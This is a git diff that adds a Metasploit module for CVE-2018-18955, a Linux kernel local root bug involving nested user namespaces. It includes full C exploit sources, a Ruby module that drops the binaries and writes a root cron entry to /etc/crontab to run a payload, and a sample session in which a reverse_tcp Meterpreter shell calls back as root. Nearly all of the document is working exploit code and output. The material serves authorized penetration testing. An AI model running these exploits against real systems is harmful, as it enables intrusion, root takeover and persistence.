diff --git a/data/exploits/cve-2018-18955/subshell.c b/data/exploits/cve-2018-18955/subshell.c new file mode 100644 index 0000000000..aeac0dcdc9 --- /dev/null +++ b/data/exploits/cve-2018-18955/subshell.c @@ -0,0 +1,52 @@ +// subshell.c +// author: Jann Horn +// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int main() { + int sync_pipe[2]; + char dummy; + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe"); + + pid_t child = fork(); + if (child == -1) err(1, "fork"); + if (child == 0) { + close(sync_pipe[1]); + if (unshare(CLONE_NEWUSER)) err(1, "unshare userns"); + if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock"); + + if (read(sync_pipe[0], &dummy, 1) != 1) err(1, "read from sock"); + execl("/bin/bash", "bash", NULL); + err(1, "exec"); + } + + close(sync_pipe[0]); + if (read(sync_pipe[1], &dummy, 1) != 1) err(1, "read from sock"); + char pbuf[100]; + sprintf(pbuf, "/proc/%d", (int)child); + if (chdir(pbuf)) err(1, "chdir"); + const char *id_mapping = "0 0 1\n1 1 1\n2 2 1\n3 3 1\n4 4 1\n5 5 995\n"; + int uid_map = open("uid_map", O_WRONLY); + if (uid_map == -1) err(1, "open uid map"); + if (write(uid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write uid map"); + close(uid_map); + int gid_map = open("gid_map", O_WRONLY); + if (gid_map == -1) err(1, "open gid map"); + if (write(gid_map, id_mapping, strlen(id_mapping)) != strlen(id_mapping)) err(1, "write gid map"); + close(gid_map); + if (write(sync_pipe[1], "X", 1) != 1) err(1, "write to sock"); + + int status; + if (wait(&status) != child) err(1, "wait"); + return 0; +} diff --git a/data/exploits/cve-2018-18955/subshell.out b/data/exploits/cve-2018-18955/subshell.out new file mode 100644 index 0000000000..861d910900 Binary files /dev/null and b/data/exploits/cve-2018-18955/subshell.out differ diff --git a/data/exploits/cve-2018-18955/subuid_shell.c b/data/exploits/cve-2018-18955/subuid_shell.c new file mode 100644 index 0000000000..f07a3a54f4 --- /dev/null +++ b/data/exploits/cve-2018-18955/subuid_shell.c @@ -0,0 +1,272 @@ +// subuid_shell.c - Linux local root exploit for CVE-2018-18955 +// Exploits broken uid/gid mapping in nested user namespaces. +// --- +// Mostly stolen from Jann Horn's exploit: +// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1712 +// Some code stolen from Xairy's exploits: +// - https://github.com/xairy/kernel-exploits +// --- +// +// - added auto subordinate id mapping +// https://github.com/bcoles/kernel-exploits/tree/cve-2018-18955 + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define DEBUG + +#ifdef DEBUG +# define dprintf printf +#else +# define dprintf +#endif + +char* SUBSHELL = "./subshell"; + + +// * * * * * * * * * * * * * * * * * File I/O * * * * * * * * * * * * * * * * * + +#define CHUNK_SIZE 1024 + +int read_file(const char* file, char* buffer, int max_length) { + int f = open(file, O_RDONLY); + if (f == -1) + return -1; + int bytes_read = 0; + while (1) { + int bytes_to_read = CHUNK_SIZE; + if (bytes_to_read > max_length - bytes_read) + bytes_to_read = max_length - bytes_read; + int rv = read(f, &buffer[bytes_read], bytes_to_read); + if (rv == -1) + return -1; + bytes_read += rv; + if (rv == 0) + return bytes_read; + } +} + +static int write_file(const char* file, const char* what, ...) { + char buf[1024]; + va_list args; + va_start(args, what); + vsnprintf(buf, sizeof(buf), what, args); + va_end(args); + buf[sizeof(buf) - 1] = 0; + int len = strlen(buf); + + int fd = open(file, O_WRONLY | O_CLOEXEC); + if (fd == -1) + return -1; + if (write(fd, buf, len) != len) { + close(fd); + return -1; + } + close(fd); + return 0; +} + + +// * * * * * * * * * * * * * * * * * Map * * * * * * * * * * * * * * * * * + +int get_subuid(char* output, int max_length) { + char buffer[1024]; + char* path = "/etc/subuid"; + int length = read_file(path, &buffer[0], sizeof(buffer)); + if (length == -1) + return -1; + + int real_uid = getuid(); + struct passwd *u = getpwuid(real_uid); + + char needle[1024]; + sprintf(needle, "%s:", u->pw_name); + int needle_length = strlen(needle); + char* found = memmem(&buffer[0], length, needle, needle_length); + if (found == NULL) + return -1; + + int i; + for (i = 0; found[needle_length + i] != ':'; i++) { + if (i >= max_length) + return -1; + if ((found - &buffer[0]) + needle_length + i >= length) + return -1; + output[i] = found[needle_length + i]; + } + + return 0; +} + +int get_subgid(char* output, int max_length) { + char buffer[1024]; + char* path = "/etc/subgid"; + int length = read_file(path, &buffer[0], sizeof(buffer)); + if (length == -1) + return -1; + + int real_gid = getgid(); + struct group *g = getgrgid(real_gid); + + char needle[1024]; + sprintf(needle, "%s:", g->gr_name); + int needle_length = strlen(needle); + char* found = memmem(&buffer[0], length, needle, needle_length); + if (found == NULL) + return -1; + + int i; + for (i = 0; found[needle_length + i] != ':'; i++) { + if (i >= max_length) + return -1; + if ((found - &buffer[0]) + needle_length + i >= length) + return -1; + output[i] = found[needle_length + i]; + } + + return 0; +} + + +// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * + +int main(int argc, char** argv) { + if (argc > 1) SUBSHELL = argv[1]; + + dprintf("[.] starting\n"); + + dprintf("[.] setting up namespace\n"); + + int sync_pipe[2]; + char dummy; + + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) { + dprintf("[-] pipe\n"); + exit(EXIT_FAILURE); + } + + pid_t child = fork(); + + if (child == -1) { + dprintf("[-] fork"); + exit(EXIT_FAILURE); + } + + if (child == 0) { + prctl(PR_SET_PDEATHSIG, SIGKILL); + close(sync_pipe[1]); + + if (unshare(CLONE_NEWUSER) != 0) { + dprintf("[-] unshare(CLONE_NEWUSER)\n"); + exit(EXIT_FAILURE); + } + + if (unshare(CLONE_NEWNET) != 0) { + dprintf("[-] unshare(CLONE_NEWNET)\n"); + exit(EXIT_FAILURE); + } + + if (write(sync_pipe[0], "X", 1) != 1) { + dprintf("write to sock\n"); + exit(EXIT_FAILURE); + } + + if (read(sync_pipe[0], &dummy, 1) != 1) { + dprintf("[-] read from sock\n"); + exit(EXIT_FAILURE); + } + + if (setgid(0)) { + dprintf("[-] setgid"); + exit(EXIT_FAILURE); + } + + if (setuid(0)) { + printf("[-] setuid"); + exit(EXIT_FAILURE); + } + + execl(SUBSHELL, "", NULL); + + dprintf("[-] executing subshell failed\n"); + } + + close(sync_pipe[0]); + + if (read(sync_pipe[1], &dummy, 1) != 1) { + dprintf("[-] read from sock\n"); + exit(EXIT_FAILURE); + } + + char path[256]; + sprintf(path, "/proc/%d/setgroups", (int)child); + + if (write_file(path, "deny") == -1) { + dprintf("[-] denying setgroups failed\n"); + exit(EXIT_FAILURE); + } + + dprintf("[~] done, namespace sandbox set up\n"); + + dprintf("[.] mapping subordinate ids\n"); + char subuid[64]; + char subgid[64]; + + if (get_subuid(&subuid[0], sizeof(subuid))) { + dprintf("[-] couldn't find subuid map in /etc/subuid\n"); + exit(EXIT_FAILURE); + } + + if (get_subgid(&subgid[0], sizeof(subgid))) { + dprintf("[-] couldn't find subgid map in /etc/subgid\n"); + exit(EXIT_FAILURE); + } + + dprintf("[.] subuid: %s\n", subuid); + dprintf("[.] subgid: %s\n", subgid); + + char cmd[256]; + + sprintf(cmd, "newuidmap %d 0 %s 1000", (int)child, subuid); + if (system(cmd)) { + dprintf("[-] newuidmap failed"); + exit(EXIT_FAILURE); + } + + sprintf(cmd, "newgidmap %d 0 %s 1000", (int)child, subgid); + if (system(cmd)) { + dprintf("[-] newgidmap failed"); + exit(EXIT_FAILURE); + } + + dprintf("[~] done, mapped subordinate ids\n"); + + dprintf("[.] executing subshell\n"); + + if (write(sync_pipe[1], "X", 1) != 1) { + dprintf("[-] write to sock"); + exit(EXIT_FAILURE); + } + + int status; + if (wait(&status) != child) { + dprintf("[-] wait"); + exit(EXIT_FAILURE); + } + + return 0; +} diff --git a/data/exploits/cve-2018-18955/subuid_shell.out b/data/exploits/cve-2018-18955/subuid_shell.out new file mode 100644 index 0000000000..9d45f0c509 Binary files /dev/null and b/data/exploits/cve-2018-18955/subuid_shell.out differ diff --git a/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md b/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md new file mode 100644 index 0000000000..0d73624685 --- /dev/null +++ b/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md @@ -0,0 +1,129 @@ +## Description + + This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18, + and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user + namespaces and kernel uid/gid mappings allow elevation to root + (CVE-2018-18955). + + The target system must have unprivileged user namespaces enabled and + the newuidmap and newgidmap helpers installed (from uidmap package). + + +## Vulnerable Application + + This module has been tested successfully on: + + * Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64 + * Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64) + * Linux Mint 19 kernel 4.15.0-20-generic (x86_64) + * Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64) + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/nested_namespace_idmap_limit_priv_esc` + 4. `set SESSION ` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SESSION** + + Which session to use, which can be viewed with `sessions` + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + **COMPILE** + + Options: `Auto` `True` `False` (default: `Auto`) + + Whether the exploit should be live compiled with `gcc` on the target system, + or uploaded as a pre-compiled binary. + + `Auto` will first determine if `gcc` is installed to compile live on the system, + and fall back to uploading pre-compiled binaries. + + +## Compiled Executables + +The module makes use of two pre-compiled exploit executables: + + * `subuid_shell` + * `subshell` + +These are used when `gcc` is not available on the target host for live compiling, +or `COMPILE` is set to `False`. + +The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/muslcross/musl-cross-linux-6.tar). + +```bash +./i486-linux-musl-gcc -o subshell.out -s -pie -static subshell.c +./i486-linux-musl-gcc -o subuid_shell.out -s -pie -static subuid_shell.c +``` + + +## Scenarios + +### Fedora Workstation 28 (verbose output) + + ``` + msf5 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc + msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188 + lhost => 172.16.191.188 + msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true + verbose => true + msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check + + [+] Unprivileged user namespaces are permitted + [+] /usr/bin/newuidmap is set-uid + [+] /usr/bin/newgidmap is set-uid + [+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable + [*] The target appears to be vulnerable. + msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run + + [*] Started reverse TCP handler on 172.16.191.188:4444 + [+] Unprivileged user namespaces are permitted + [+] /usr/bin/newuidmap is set-uid + [+] /usr/bin/newgidmap is set-uid + [+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable + [+] gcc is installed + [*] Live compiling exploit on system... + [*] Writing '/tmp/.LOren.c' (6058 bytes) ... + [*] Writing '/tmp/.C9dWgG.c' (1604 bytes) ... + [*] Writing '/tmp/.6syapMd72' (367 bytes) ... + [*] Adding cron job... + [*] [.] starting + [*] [.] setting up namespace + [*] [~] done, namespace sandbox set up + [*] [.] mapping subordinate ids + [*] [.] subuid: 100000 + [*] [.] subgid: 100000 + [*] [~] done, mapped subordinate ids + [*] [.] executing subshell + [+] Success. Waiting for job to run (may take a minute)... + [*] Transmitting intermediate stager...(126 bytes) + [*] Sending stage (816260 bytes) to 172.16.191.137 + [*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.137:39150) at 2018-11-24 19:28:02 -0500 + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : localhost.localdomain + OS : Fedora 28 (Linux 4.16.3-301.fc28.x86_64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` + diff --git a/modules/exploits/linux/local/nested_namespace_idmap_limit_priv_esc.rb b/modules/exploits/linux/local/nested_namespace_idmap_limit_priv_esc.rb new file mode 100644 index 0000000000..6884fec4e8 --- /dev/null +++ b/modules/exploits/linux/local/nested_namespace_idmap_limit_priv_esc.rb @@ -0,0 +1,228 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Nested User Namespace idmap Limit Local Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in Linux kernels 4.15.0 to 4.18.18, + and 4.19.0 to 4.19.1, where broken uid/gid mappings between nested user + namespaces and kernel uid/gid mappings allow elevation to root + (CVE-2018-18955). + + The target system must have unprivileged user namespaces enabled and + the newuidmap and newgidmap helpers installed (from uidmap package). + + This module has been tested successfully on: + + Fedora Workstation 28 kernel 4.16.3-301.fc28.x86_64; + Kubuntu 18.04 LTS kernel 4.15.0-20-generic (x86_64); + Linux Mint 19 kernel 4.15.0-20-generic (x86_64); + Ubuntu Linux 18.04.1 LTS kernel 4.15.0-20-generic (x86_64). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jann Horn', # Discovery and exploit + 'bcoles' # Metasploit + ], + 'DisclosureDate' => 'Nov 15 2018', + 'Platform' => ['linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [['Auto', {}]], + 'Privileged' => true, + 'References' => + [ + ['BID', '105941'], + ['CVE', '2018-18955'], + ['EDB', '45886'], + ['PACKETSTORM', '150381'], + ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1712'], + ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-18955'], + ['URL', 'https://lwn.net/Articles/532593/'], + ['URL', 'https://bugs.launchpad.net/bugs/1801924'], + ['URL', 'https://people.canonical.com/~ubuntu-security/cve/CVE-2018-18955'], + ['URL', 'https://security-tracker.debian.org/tracker/CVE-2018-18955'], + ['URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d2f007dbe7e4c9583eea6eb04d60001e85c6f1bd'], + ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.18.19'], + ['URL', 'https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.19.2'] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'AppendExit' => true, + 'PrependSetresuid' => true, + 'PrependSetreuid' => true, + 'PrependSetuid' => true, + 'PrependFork' => true, + 'WfsDelay' => 60, + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' + }, + 'Notes' => + { + 'AKA' => ['subuid_shell.c'] + } + )) + register_options [ + OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', %w[Auto True False]]) + ] + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + chmod path + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + + gcc_cmd = "gcc -o #{path} #{path}.c" + if session.type.eql? 'shell' + gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" + end + output = cmd_exec gcc_cmd + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable." + end + + register_file_for_cleanup path + chmod path, 0755 + end + + def exploit_data(file) + ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-18955', file) + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + unless userns_enabled? + vprint_error 'Unprivileged user namespaces are not permitted' + return CheckCode::Safe + end + vprint_good 'Unprivileged user namespaces are permitted' + + ['/usr/bin/newuidmap', '/usr/bin/newgidmap'].each do |path| + unless setuid? path + vprint_error "#{path} is not set-uid" + return CheckCode::Safe + end + vprint_good "#{path} is set-uid" + end + + # Patched in 4.18.19 and 4.19.2 + release = kernel_release + v = Gem::Version.new release.split('-').first + if v < Gem::Version.new('4.15') || + v >= Gem::Version.new('4.19.2') || + (v >= Gem::Version.new('4.18.19') && v < Gem::Version.new('4.19')) + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" + + CheckCode::Appears + end + + def on_new_session(session) + if session.type.to_s.eql? 'meterpreter' + session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' + session.sys.process.execute '/bin/sh', "-c \"/bin/sed -i '\$ d' /etc/crontab\"" + else + session.shell_command("/bin/sed -i '\$ d' /etc/crontab") + end + ensure + super + end + + def exploit + unless check == CheckCode::Appears + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + end + + unless writable? base_dir + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload executables + subuid_shell_name = ".#{rand_text_alphanumeric 5..10}" + subuid_shell_path = "#{base_dir}/#{subuid_shell_name}" + subshell_name = ".#{rand_text_alphanumeric 5..10}" + subshell_path = "#{base_dir}/#{subshell_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile subuid_shell_path, exploit_data('subuid_shell.c') + upload_and_compile subshell_path, exploit_data('subshell.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx subuid_shell_path, exploit_data('subuid_shell.out') + upload_and_chmodx subshell_path, exploit_data('subshell.out') + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Adding cron job...' + output = cmd_exec "echo \"echo '* * * * * root #{payload_path}' >> /etc/crontab\" | #{subuid_shell_path} #{subshell_path} " + output.each_line { |line| vprint_status line.chomp } + + crontab = read_file '/etc/crontab' + unless crontab.include? payload_path + fail_with Failure::Unknown, 'Failed to add cronjob' + end + + print_good 'Success. Waiting for job to run (may take a minute)...' + end +end